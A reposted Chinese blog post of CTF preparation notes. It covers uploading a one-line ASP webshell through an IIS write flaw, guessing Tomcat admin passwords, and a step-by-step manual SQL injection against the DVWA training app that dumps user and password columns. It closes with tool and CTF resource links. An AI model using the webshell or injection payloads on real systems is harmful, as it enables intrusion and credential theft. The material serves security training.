[攻防实战]CTF大赛准备（手动注入sql）

转载

aichuo1897 于 2018-05-17 17:02:00 发布 244 收藏
原文链接：http://www.cnblogs.com/viphhs/p/9052016.html

一、IIS write漏洞利用

先用工具扫描，再上传小马，使用菜刀连接即可。

思考点：

如何获知是一台IIS站点？

本例中上传的一句话木马是什么意思？

```
<%eval request("MH")%>
```

https://www.cnblogs.com/tdcqma/p/6125789.html

二、Tomcat服务器漏洞利用

先用nmap扫描端口开放信息。

然后利用metasploit或者Apache tomcat.exe工具里面的扫描办法来扫描弱口令。

需要注意的是，对于管理员账号的猜测，可以猜测admin、root、administrator等。

三、SQL 手工注入（以dvwa为例）(参考https://m.jb51.net/show/93442）

1、判断字段总数：

admin，password登录dvwa后，将安全级别调至低。进入sql injection界面。

http://192.168.8.133/dvwa/vulnerabilities/sqli/

输入1’ 报错。确认有注入漏洞。

输入1' order by 2#正常返回结果。输入1' order by 3# 报错。表明数据库只有两列。order by 后面跟的应该是第几列的列数。这样看来数据库表只有两列。结尾的#号用于截断sql语句，以免报错。也可以换做-- -

2、判断显示位

1' union select 1,2# 可以看到1,2分别显示在first name和sur name处。

3、显当前示数据库和版本信息。

1' union select database(),version()#

4、显示所有数据库的名称

1' union select SCHEMA_name,1 from **information_schema**.schemata#

5、显示当前数据库表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

可以看到当前数据库表名：guestbook,users

6、查询列名：

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

7、查询数据值

1' union select group_concat(user,password),3 from users#

其中user和password是上一步得出的结果。

也可以写作

1' union select user,password from users#

四、PHP

1、strcmp漏洞

https://blog.csdn.net/cherrie007/article/details/77473817

九、在线工具收集

1、http post工具：

http://www.atool.org/httptest.php

https://getman.cn/

2、解码加密工具：

https://www.bejson.com/

3、PHP及其他语言在线调试工具：

https://c.runoob.com/compile/1

十、CTF大赛本身学习

1、鹏越CTF学霸专区

2、https://ctftime.org/ctfs

3、强网杯

4、XCTF（南京赛宁）

转载于:https://www.cnblogs.com/viphhs/p/9052016.html